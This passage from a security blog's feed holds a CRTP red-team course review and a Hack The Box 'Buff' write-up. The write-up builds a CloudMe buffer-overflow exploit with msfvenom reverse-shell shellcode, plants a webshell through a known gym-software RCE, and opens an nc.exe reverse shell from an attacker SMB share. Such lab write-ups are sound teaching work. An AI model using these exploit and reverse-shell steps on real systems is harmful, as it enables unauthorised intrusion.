&lt;li&gt;2021-11-18: I released this write-up; you can glean from the &lt;a href="https://support.claris.com/s/answerview?anum=000035725&amp;amp;language=en_US"&gt;official client (!) release notes&lt;/a&gt; what was patched and having more detailed information available is generally better to validate that your environment is properly protected.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>CRTP Certification Review</title><link>https://davidhamann.de/2020/12/25/crtp-review-pentester-academy/</link><pubDate>Fri, 25 Dec 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/12/25/crtp-review-pentester-academy/</guid><description>&lt;p&gt;A couple of days ago I took the exam for the &lt;a href="https://www.pentesteracademy.com/activedirectorylab"&gt;CRTP&lt;/a&gt; (Certified Red Team Professional) certification by Pentester Academy. In this review I want to give a quick overview of the course contents, the labs and the exam.&lt;/p&gt;
&lt;h2 id="course-contents"&gt;Course Contents&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Attacking and Defending Active Directory&lt;/em&gt; is the accompanying course for the CRTP certification and it covers – as the name suggests – various common attack vectors and persistence techniques in Windows AD networks. The course also gives an overview of the defensive measures you can take – from more high-level explanations of privilege separation models to deploying decoy objects in the environment for deception.&lt;/p&gt;
&lt;p&gt;The course structure is roughly like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;AD Enumeration&lt;/li&gt;
&lt;li&gt;Local privilege escalation&lt;/li&gt;
&lt;li&gt;Domain privilege escalation and Lateral Movement&lt;/li&gt;
&lt;li&gt;Persistence&lt;/li&gt;
&lt;li&gt;Trust attacks across Domains and Forests&lt;/li&gt;
&lt;li&gt;Defenses and detections&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It starts out with a short refresher about Active Directory but pretty much expects you to already have a basic understanding of the main services and logical structure that make up AD. The same goes for PowerShell, which is used across the course and only introduced very briefly.&lt;/p&gt;
&lt;p&gt;Most of the enumeration is taught via &lt;a href="https://powersploit.readthedocs.io/en/latest/Recon/"&gt;PowerView&lt;/a&gt; and Microsoft&amp;rsquo;s &lt;a href="https://docs.microsoft.com/en-us/powershell/module/addsadministration/?view=win10-ps"&gt;Active Directory PowerShell module&lt;/a&gt;. The teacher, Nikhil Mittal, then walks you through common enumeration tasks, looking at Users, Computers, Shares, GPOs, explaining how to read ACLs, finding sessions, enumerating Trusts, etc.&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s also a section on &lt;a href="https://github.com/BloodHoundAD/BloodHound"&gt;BloodHound&lt;/a&gt;, albeit very short as the course is supposed to be &amp;ldquo;Red Team&amp;rdquo; focussed and so the amount of &amp;ldquo;noise&amp;rdquo; you generate in an environment is taken into consideration to avoid being detected for as long as possible.&lt;/p&gt;
&lt;p&gt;While I mentioned &lt;em&gt;Local Privilege Escalation&lt;/em&gt; above, it is not the focus of the course and only touched very briefly (essentially just service abuses). The domain privilege escalation / lateral movement part is more thorough and teaches you how to jump from one box to another and eventually get Domain Admin or Enterprise Admin – again with the focus on abusing misconfigurations.&lt;/p&gt;
&lt;p&gt;The common attacks are all covered: kerberoasting in its different forms, constrained and unconstrained delegation abuses, utilizing trust tickets for moving across domains and reaching external forests, pivoting through SQL Servers, DNS Admins escalation, and more&amp;hellip;&lt;/p&gt;
&lt;p&gt;A big chunk of the course then goes into persistence techniques, i.e. what techniques an attacker can use to stay in the environment, likely remain undetected, and how long the persistence methods usually work. This was the section where I learned the most – there are just so many places you can hide and information you can use to &amp;ldquo;come back&amp;rdquo; at a later stage.&lt;/p&gt;
&lt;p&gt;The course covers the more known ways like golden and silver tickets, but also talks about techniques like skeleton keys, custom SSPs, various ACL settings, DCShadow, DSRM admin login, and so on.&lt;/p&gt;
&lt;p&gt;For a lot of techniques &lt;a href="https://github.com/gentilkiwi/mimikatz"&gt;mimikatz&lt;/a&gt; is used. Naturally, not everything can be taught in much detail but the course introduces you to topics you can then further research on your own.&lt;/p&gt;
&lt;p&gt;In the defensive part of the course the logs/events created during the attacks are discussed. But not only detection, also mitigation strategies and helpful tools are mentioned. And, as it is a cat and mouse game, also common bypasses and weaknesses of the mitigations/detections are shown.&lt;/p&gt;
&lt;h2 id="lab-environment"&gt;Lab environment&lt;/h2&gt;
&lt;p&gt;You get access to a lab which consists of an AD environment containing multiple domains and also trusts to another forest. From a provided &amp;ldquo;student vm&amp;rdquo; you can then try out the different attacks.&lt;/p&gt;
&lt;p&gt;The lab environment consists (as of the time of writing) of Windows Server 2016 machines and is solely focussed on exploiting misconfigurations (no CVEs with publicly available exploits). This introduces you to realistic scenarios as misconfigurations happen all the time and cannot be just &amp;ldquo;patched away&amp;rdquo; with an update.&lt;/p&gt;
&lt;p&gt;While it is a shared environment and certain attacks wouldn&amp;rsquo;t be possible when executed by multiple students, I didn&amp;rsquo;t have a single issue due to other &amp;ldquo;attackers&amp;rdquo; in the environment. Also, the lab resets every 24 hours.&lt;/p&gt;
&lt;p&gt;The lab can be accessed via VPN or directly through a browser via Apache Guacamole. I&amp;rsquo;m not a huge fan of doing everything in a browser, so I always connected via the VPN through a dedicated VM.&lt;/p&gt;
&lt;p&gt;There are packages of 30, 60 and 90 days of lab access. I chose 30 days and found it was time enough time to do the exersises multiple times, even though I only did the course on the side in the evenings. My suggestion would be to go for 30 days and do the first enumeration exercises in your own AD lab (if you have one) before starting the official lab time (you get access to the course material and can decide to start the labs at a later stage, which seems like a fair option).&lt;/p&gt;
&lt;p&gt;While not a deal breaker, I didn&amp;rsquo;t like so much that you needed a Google associated email account for accessing the lab control panel.&lt;/p&gt;
&lt;h2 id="exam"&gt;Exam&lt;/h2&gt;
&lt;p&gt;The exam drops you into an environment similar to the lab and requires you to get access to a given number of machines in the network. As it is an assumed breach scenario, access to a foothold machine and a low-priv user is given. You have 24 hours to compromise the machines and then 48 hours to write a report describing the weaknesses you exploited to gain access. You have to provide both a walkthrough and remediation recommendations.&lt;/p&gt;
&lt;p&gt;You can use any tool on the exam, not just the ones discussed in the course.&lt;/p&gt;
&lt;p&gt;Obviously, I cannot say anything about the exam&amp;rsquo;s contents. All what is needed to pass is explained and taught in the course but expect some hurdles on the way (you cannot just run BloodHound and follow a straight path of layed-out abuses). In my opinion it was a very well thought-out exam.&lt;/p&gt;
&lt;p&gt;My recommendations (that apply to any practical exam, really): feel comfortable with the techniques taught so that you can troubleshoot them when they don&amp;rsquo;t work as expected at first. Carefully enumerate before you try an attack. Don&amp;rsquo;t put your trust in the output of only a single tool, have alternative ways of verifying things. Keep hacking, even when you haven&amp;rsquo;t made any progress for some time – you know there &lt;em&gt;is&lt;/em&gt; a way in :-)&lt;/p&gt;
&lt;h2 id="should-you-take-the-course"&gt;Should you take the course?&lt;/h2&gt;
&lt;p&gt;This solely depends on what you want to learn and your previous experience. In my opinion, even if you&amp;rsquo;re already doing pentesting and AD is not your prime focus, you will learn new tricks. As mentioned above, for me especially the persistance techniques were worth it.&lt;/p&gt;
&lt;p&gt;If you know AD in and out and regularly perform assessments that also include the persistence part and cross-trust attacks, then maybe you won&amp;rsquo;t learn anything new. Pentester Academy also has a &lt;a href="https://www.pentesteracademy.com/gcb"&gt;much more challenging lab&lt;/a&gt; and something &lt;a href="https://www.pentesteracademy.com/redteamlab"&gt;in between&lt;/a&gt;, although I haven&amp;rsquo;t done them, so cannot say anything about it.&lt;/p&gt;
&lt;p&gt;While I have some non-AD material piled up which I want go through first, let me know if you have done one of the other red team labs. I&amp;rsquo;d like to hear your experience.&lt;/p&gt;
&lt;h2 id="update-2025"&gt;Update 2025&lt;/h2&gt;
&lt;p&gt;I was informed that the course has moved to a different company/site. It is now: &lt;a href="https://www.alteredsecurity.com/adlab"&gt;https://www.alteredsecurity.com/adlab&lt;/a&gt;. I assume everything is still more or less the same, but can&amp;rsquo;t say for sure.&lt;/p&gt;</description></item><item><title>Hack the Box Write-up #10: Buff</title><link>https://davidhamann.de/2020/11/21/htb-writeup-buff/</link><pubDate>Sat, 21 Nov 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/11/21/htb-writeup-buff/</guid><description>&lt;p&gt;This is a write-up of today&amp;rsquo;s retired &lt;a href="https://hackthebox.eu"&gt;Hack The Box&lt;/a&gt; machine &lt;em&gt;Buff&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Buff&lt;/em&gt; was a fun 20 point box that included exploitation of a known vulnerability in a gym management web app and a classic buffer overflow for getting an administrator shell.&lt;/p&gt;
&lt;p&gt;In my opinion doing this machine can also serve as a good practice if you plan on doing something like the OSCP or eCPPT certification and still need practice targets for the binary exploitation / buffer overflow part.&lt;/p&gt;
&lt;h2 id="recon-and-enumeration"&gt;Recon and enumeration&lt;/h2&gt;
&lt;p&gt;We start by scanning the box with a fast nmap scan:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -F 10.10.10.198

Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-20 22:49 CET
Nmap scan report for 10.10.10.198
Host is up (0.099s latency).
Not shown: 99 filtered ports
PORT STATE SERVICE
8080/tcp open http-proxy
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We run an additional full port scan (&lt;code&gt;-p-&lt;/code&gt;) in the background and checkout the discovered port 8080 by browsing to it. We are greeted with some kind of fitness site:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Website on port 8080" loading="lazy" src="https://davidhamann.de/images/buff-gym.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Browsing through the pages, we find a note on &lt;code&gt;/contact.php&lt;/code&gt; that says: &amp;ldquo;Made using Gym Management Software 1.0&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Using this information, we run a &lt;code&gt;searchsploit &amp;quot;gym man&amp;quot;&lt;/code&gt; to look for known vulnerabilities:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;searchsploit &amp;#34;gym man&amp;#34;
------------------------------------------------------------------- ----------------------
 Exploit Title | Path
------------------------------------------------------------------- ----------------------
Gym Management System 1.0 - &amp;#39;id&amp;#39; SQL Injection | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py
------------------------------------------------------------------- ----------------------
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="exploiting-gym-management-software"&gt;Exploiting Gym Management Software&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Unauthenticated Remote Code Execution&lt;/code&gt; looks pretty good, so we&amp;rsquo;ll have a look at this one first (&lt;code&gt;searchsploit -x 48506&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;It essentially does a POST request to the &lt;code&gt;upload.php&lt;/code&gt; page (which does not check for a valid session) to send a file while bypassing the check for allowed file types (images). It is supposed to directly give you a webshell, but I find it often easier to just pipe the requests through a proxy and then modify the request as I see fit.&lt;/p&gt;
&lt;p&gt;So to let the requests go through Burp, we define a &lt;code&gt;proxies&lt;/code&gt; dictionary and pass it to the two requests (using the Python &lt;code&gt;requests&lt;/code&gt; module):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;proxies = { &amp;#39;http&amp;#39;: &amp;#39;http://127.0.0.1:8080&amp;#39; }
s.get(SERVER_URL, verify=False, proxies=proxies)
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The diff for completeness:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;81d80
&amp;lt; print header();
90c89,90
&amp;lt; s.get(SERVER_URL, verify=False)
---
&amp;gt; proxies = { &amp;#39;http&amp;#39;: &amp;#39;http://127.0.0.1:8080&amp;#39; }
&amp;gt; s.get(SERVER_URL, verify=False, proxies=proxies)
102c102
&amp;lt; r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
---
&amp;gt; r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False, proxies=proxies)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now we can start the Burp interception proxy and run &lt;code&gt;python 48506_customized.py http://10.10.10.198:8080/&lt;/code&gt;. This will give us insight in the actual payload being used:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Intercepted payload" loading="lazy" src="https://davidhamann.de/images/buff_gym_intercept.png"&gt;&lt;/p&gt;
&lt;p&gt;Now that we know what the script would do, we can just send the request to the repeater tab, drop the original one and kill the script.&lt;/p&gt;
&lt;p&gt;In the repeater tab, we can make slight adjustments or just keep it as is – I change the file name for easier reference later on. When you do your own changes, make sure to keep the magic bytes intact:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Magic bytes" loading="lazy" src="https://davidhamann.de/images/buff_magic_bytes.png"&gt;&lt;/p&gt;
&lt;p&gt;After sending the request, we get code execution on the server by sending a GET to our previously uploaded webshell:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Code execution as shaun" loading="lazy" src="https://davidhamann.de/images/buff_first_code_exec.png"&gt;&lt;/p&gt;
&lt;p&gt;To get a proper shell, we can start an impacket smbserver and execute nc.exe directly from our attacker machine:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# launch smbserver
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py TMP $(pwd) -smb2support

# launch listener
nc -lvnp 80
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Execute nc.exe:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Executing nc.exe" loading="lazy" src="https://davidhamann.de/images/buff_nc.png"&gt;&lt;/p&gt;
&lt;h2 id="identifying-cloudme--the-potential-buff-target"&gt;Identifying CloudMe – The potential &amp;ldquo;Buff&amp;rdquo; target&lt;/h2&gt;
&lt;p&gt;Using our shell, we can start looking around in directories accessible to our user &lt;code&gt;shaun&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;Downloads&lt;/code&gt; we find a hint to a potentially installed software:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\shaun\Downloads&amp;gt;dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Downloads

14/07/2020 12:27 &amp;lt;DIR&amp;gt; .
14/07/2020 12:27 &amp;lt;DIR&amp;gt; ..
16/06/2020 15:26 17,830,824 CloudMe_1112.exe
 1 File(s) 17,830,824 bytes
 2 Dir(s) 7,753,715,712 bytes free
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A quick check with &lt;code&gt;tasklist&lt;/code&gt; confirms &lt;em&gt;CloudMe.exe&lt;/em&gt; is running. Noting the PID, we can also cross-reference that it is listening on port 8888.&lt;/p&gt;
&lt;p&gt;Searching for known vulnerabilities, we quickly find a couple of exploits using &lt;code&gt;searchsploit cloudme&lt;/code&gt;. Let&amp;rsquo;s have a quick look at &lt;code&gt;48389.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It looks like a simple buffer overflow, so why not make our own one from scratch!?&lt;/p&gt;
&lt;h2 id="developing-the-exploit"&gt;Developing the Exploit&lt;/h2&gt;
&lt;p&gt;First, we need to get the binary to our machine. We can copy it using the smbserver from earlier:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\shaun\Downloads&amp;gt;copy CloudMe_1112.exe \\10.10.14.28\TMP\CloudMe_1112.exe
copy CloudMe_1112.exe \\10.10.14.28\TMP\CloudMe_1112.exe
 1 file(s) copied.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For good practice we can also compare the hash after transfer:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# on target
powershell.exe -c &amp;#34;Get-FileHash CloudMe_1112.exe&amp;#34;

# on attacker machine
shasum -a 256 CloudMe_1112.exe
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="running-the-app-locally"&gt;Running the app locally&lt;/h3&gt;
&lt;p&gt;Since the target system is a Windows 10 box, we should install CloudMe on a similar VM.&lt;/p&gt;
&lt;p&gt;If you want to follow along, make sure to also install &lt;a href="https://www.immunityinc.com/products/debugger/"&gt;Immunity Debugger&lt;/a&gt; and &lt;a href="https://github.com/corelan/mona"&gt;mona.py&lt;/a&gt; on the machine.&lt;/p&gt;
&lt;p&gt;After installation, we can run the app and check again with &lt;code&gt;netstat&lt;/code&gt; that it is listening on port 8888.&lt;/p&gt;
&lt;p&gt;Since it is only listening on the loopback address, we&amp;rsquo;re setting up a &lt;a href="https://davidhamann.de/2019/06/20/setting-up-portproxy-netsh/"&gt;portproxy&lt;/a&gt; on our local Windows VM to proxy 172.16.246.136:8888 (IP of my VM) to 127.0.0.1:8888.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;netsh interface portproxy add v4tov4 listenport=8888 listenaddress=172.16.246.136 connectport=8888 connectaddress=127.0.0.1
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="building-a-skeleton"&gt;Building a skeleton&lt;/h3&gt;
&lt;p&gt;The first thing we&amp;rsquo;re going to do is build a skeleton for our exploit. We will use Python and the built-in &lt;code&gt;socket&lt;/code&gt; module for creating a TCP socket for our connection.&lt;/p&gt;
&lt;p&gt;Something like this should do for now – a function to build the payload, and one to send it:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;import socket

HOST, PORT = &amp;#39;172.16.246.136&amp;#39;, 8888


def build(size):
 return b&amp;#39;A&amp;#39; * size


def send(payload):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.settimeout(2)
 s.connect((HOST, PORT))
 s.send(payload)
 try:
 res = s.recv(1024)
 print(&amp;#39;Recv: &amp;#39;, res)
 except socket.timeout:
 print(&amp;#34;Boom!&amp;#34;)


if __name__ == &amp;#39;__main__&amp;#39;:
 payload = build(50)
 send(payload)
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="make-it-crash"&gt;Make it crash&lt;/h3&gt;
&lt;p&gt;To observe how the application is behaving when it receives inputs, we can now attach it to Immunity Debugger:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Attaching to the process" loading="lazy" src="https://davidhamann.de/images/buff_attach.jpg"&gt;&lt;/p&gt;
&lt;p&gt;We can now start to test out different payload sizes – either manually or by looping through a range of sizes until the program crashes.&lt;/p&gt;
&lt;p&gt;It also makes sense to test out sizes that are larger than the minimum size required to make it crash, just to see how many of the bytes are actually coming through and end up at a usable memory region.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s settle for a payload size of 2000 and keep it this way (changing the size while developing the exploit just introduces new variables and thus complicates things later on).&lt;/p&gt;
&lt;p&gt;We can see that CloudMe is crashing and also identify that our payload of &amp;ldquo;A&amp;quot;s has overriden the return address and popped an invalid address into the EIP register. Moreover, we can see that the stack pointer (ESP) points to an address where more of our &amp;ldquo;A&amp;quot;s landed.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Crash for payload size 2000" loading="lazy" src="https://davidhamann.de/images/buff_crash_2000.png"&gt;&lt;/p&gt;
&lt;p&gt;To identify the exact offset we need for overwriting the return address and confirm that ESP points to an address right below, we will now create a cyclic pattern of various 4-byte values and use those instead of our &amp;ldquo;A&amp;quot;s.&lt;/p&gt;
&lt;h3 id="identifying-the-offset"&gt;Identifying the offset&lt;/h3&gt;
&lt;p&gt;Right in Immunity Debugger, we can use &lt;code&gt;mona.py&lt;/code&gt;&amp;rsquo;s &lt;code&gt;pc&lt;/code&gt; (pattern create) function to generate a pattern of 2000 bytes:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona pc 2000
Creating cyclic pattern of 2000 bytes
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The actual pattern will be written to the specified logfile.&lt;/p&gt;
&lt;p&gt;We can then copy the ASCII version of the pattern and put it into our exploit script&amp;rsquo;s &lt;code&gt;build&lt;/code&gt; function:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;def build(size):
 pattern = b&amp;#39;Aa0Aa1Aa2...&amp;#39;
 return pattern
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Restarting CloudMe and sending our new payload, we can see that we are now getting an access violation with a value of 316a4230 in EIP. To identify where these 4 bytes occur in our sent pattern, we can again use &lt;code&gt;mona.py&lt;/code&gt; to find out:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona po 316a4230
[...]
 - Pattern 0Bj1 (0x316a4230) found in cyclic pattern at position 1052
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So we now know that we must send 1052 bytes of junk before we overwrite the return address. Going back to the crashed application, we can also see that ESP contains an address located exactly after the 316a4230 value.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Overwritten return address" loading="lazy" src="https://davidhamann.de/images/buff_eip.png"&gt;&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s clean up our exploit script and add the information we gained. We are putting in &amp;ldquo;B&amp;quot;s for the &amp;ldquo;address&amp;rdquo; we want to place into the EIP and fill up the rest of our space with &amp;ldquo;C&amp;quot;s (just for easier visual reference in the debugger). As mentioned earlier, we also want to make sure that we keep our payload size the same as before.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;def build(size, offset):
 junk = b&amp;#39;A&amp;#39; * offset
 eip = b&amp;#39;B&amp;#39; * 4
 shellcode = b&amp;#39;C&amp;#39; * (size - offset - len(eip))

 payload = junk + eip + shellcode
 assert len(payload) == size
 return payload
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Adjusting our call to &lt;code&gt;build&lt;/code&gt; to &lt;code&gt;payload = build(2000, 1052)&lt;/code&gt; and running the exploit again, we now see the in the debugger that our &amp;ldquo;B&amp;quot;s (hex 42) cleanly popped into EIP and that ESP points right at the beginning of our &amp;ldquo;C&amp;quot;s (hex 43).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Cleanly overwritten return address" loading="lazy" src="https://davidhamann.de/images/buff_eip2.png"&gt;&lt;/p&gt;
&lt;h3 id="finding-a-suitable-jmp-esp"&gt;Finding a suitable JMP ESP&lt;/h3&gt;
&lt;p&gt;If we would find any instructions in the loaded modules that would directly or indirectly jump to ESP, we could use the address of the beginning of the instruction as our return address. Once EIP points to a JMP ESP instruction, we would essentially jump right back to the beginning of our &amp;ldquo;C&amp;quot;s. Requirement for all this is that we don&amp;rsquo;t have protection methods such as ASLR (Address Space Layout Randomization) in place.&lt;/p&gt;
&lt;p&gt;To find such an address, we can utilize &lt;code&gt;mona.py&lt;/code&gt; again.&lt;/p&gt;
&lt;p&gt;First, we find available modules without ASLR:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona noaslr
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This shows us a couple of modules. Let&amp;rsquo;s look into these for JMP ESP (or similar) instructions:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona jmp -r esp -m Qt5Core.dll
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We find a couple of results – let&amp;rsquo;s choose the first CALL ESP:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x68d652e1 : call esp | {PAGE_EXECUTE_READ} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.9.0.0 (C:\Users\dh\AppData\Local\Programs\CloudMe\CloudMe\Qt5Core.dll)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s add the address of the instruction to our exploit script (note that we reverse the byte order for little-endian). Additionally, we add opcode &lt;code&gt;\xcc&lt;/code&gt; (INT 3) where ESP will point so that the debugger will break when our &amp;ldquo;shellcode&amp;rdquo; is hit.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;def build(size, offset):
 junk = b&amp;#39;A&amp;#39; * offset
 eip = b&amp;#39;\xe1\x52\xd6\x68&amp;#39; # 0x68d652e1
 shellcode = b&amp;#39;\xcc&amp;#39; * 4
 junk2 = b&amp;#39;C&amp;#39; * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Sending the payload again and observing the debugger, we can see that we&amp;rsquo;re again a little bit closer to controlling the program. The debugger paused as it hit our INT3 instruction.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Hitting SIGTRAP" loading="lazy" src="https://davidhamann.de/images/buff_sigtrap.png"&gt;&lt;/p&gt;
&lt;h3 id="finding-the-bad-bytes"&gt;Finding the &amp;ldquo;bad bytes&amp;rdquo;&lt;/h3&gt;
&lt;p&gt;Before we can create our actual shellcode, we need to find out if certain bytes would cause issues (commonly bytes that have a special meaning, like NULL for string termination, potentially carriage return / line feed for HTTP applications and so on).&lt;/p&gt;
&lt;p&gt;An easy way to find out what bytes are causing issues is to literally send all possible byte values to the app and then look at the stack if something got garbled up. Let&amp;rsquo;s do this – again with the help of &lt;code&gt;mona.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona bytearray -cpb &amp;#39;\x00&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(I&amp;rsquo;m excluding &lt;code&gt;\x00&lt;/code&gt; right from the beginning)&lt;/p&gt;
&lt;p&gt;This will give us two files: &lt;code&gt;bytarray.txt&lt;/code&gt; and &lt;code&gt;bytarray.bin&lt;/code&gt;. The former we will use to copy paste into our exploit script, the latter for later comparision of what arrived on the stack.&lt;/p&gt;
&lt;p&gt;Our exploit code can be adjusted like so:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;def build(size, offset):
 junk = b&amp;#39;A&amp;#39; * offset
 eip = b&amp;#39;\xe1\x52\xd6\x68&amp;#39; # 0x68d652e1
 shellcode = b&amp;#39;\xcc&amp;#39; * 4
 shellcode += (b&amp;#34;\x01\x02\x03\x04\x05\x06...&amp;#34;
 b&amp;#34;\x21\x22\x23\x24\x25\x26...&amp;#34;) # shortened for readability
 junk2 = b&amp;#39;C&amp;#39; * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once the debugger goes into a paused state, we can look at the stack and note down the address where our byte array starts (04030201 and so on). Using this starting address, we can now compare all the bytes from that address with the &lt;code&gt;bytearray.bin&lt;/code&gt; file created earlier.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona compare -f C:\ImmunityLogs\CloudMe\bytearray.bin -a 00a3d3d4
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We get a nice message from &lt;code&gt;mona.py&lt;/code&gt; that no corruption was found.&lt;/p&gt;
&lt;p&gt;&lt;img alt="No more bad bytes" loading="lazy" src="https://davidhamann.de/images/buff_bad_bytes.png"&gt;&lt;/p&gt;
&lt;p&gt;Knowing this, we can finally generate our final shellcode to exploit CloudMe on our own VM.&lt;/p&gt;
&lt;p&gt;(If we would have seen corruption, we would have just removed the first corrupted byte from the byte array and sent it again – repeatedly until the sent byte array is unmodified.)&lt;/p&gt;
&lt;h3 id="generating-the-shellcode"&gt;Generating the shellcode&lt;/h3&gt;
&lt;p&gt;For generating the shellcode we pick the easy route and let &lt;code&gt;msfvenom&lt;/code&gt; do the hard work for us. Let&amp;rsquo;s generate a payload for getting a reverse shell and prevent the use of NULL bytes (don&amp;rsquo;t forget to update the IP to the one of your attacker machine).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=172.16.246.133 LPORT=80 -b &amp;#39;\x00&amp;#39; -f py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The payload is 351 bytes in size, so it fits easily into the space we have available.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s add the shellcode to our exploit and pad it with a few NOPs so that the automatically chosen encoder (&lt;code&gt;x86/shikata_ga_nai&lt;/code&gt;) has enough room for unpacking our payload.&lt;/p&gt;
&lt;p&gt;Our &lt;code&gt;build&lt;/code&gt; function now looks like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;def build(size, offset):
 junk = b&amp;#39;A&amp;#39; * offset
 eip = b&amp;#39;\xe1\x52\xd6\x68&amp;#39; # 0x68d652e1

 # msfvenom -p windows/shell_reverse_tcp LHOST=172.16.246.133 LPORT=80 -b &amp;#39;\x00&amp;#39; -f py
 buf = b&amp;#34;&amp;#34;
 buf += b&amp;#34;\xda\xd0\xd9\x74\x24\xf4\x58\x31\xc9\xbb\x12\xab\x84&amp;#34;
 buf += b&amp;#34;\xb1\xb1\x52\x83\xe8\xfc\x31\x58\x13\x03\x4a\xb8\x66&amp;#34;
 buf += b&amp;#34;and so on...&amp;#34;

 shellcode = b&amp;#39;\x90&amp;#39; * 16 + buf
 junk2 = b&amp;#39;C&amp;#39; * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="exploiting-our-own-box"&gt;Exploiting our own box&lt;/h3&gt;
&lt;p&gt;Now it&amp;rsquo;s time to start a listener on our machine (&lt;code&gt;nc -lvnp 80&lt;/code&gt;) and run the exploit one more time. If everything went well, we should get a shell from the target system back:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;kali@kali:~ kali$ sudo nc -lvnp 80
listening on [any] 80 ...
connect to [172.16.246.133] from (UNKNOWN) [172.16.246.136] 49696
Microsoft Windows [Version 10.0.18362.30]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\dh\AppData\Local\Programs\CloudMe\CloudMe&amp;gt;
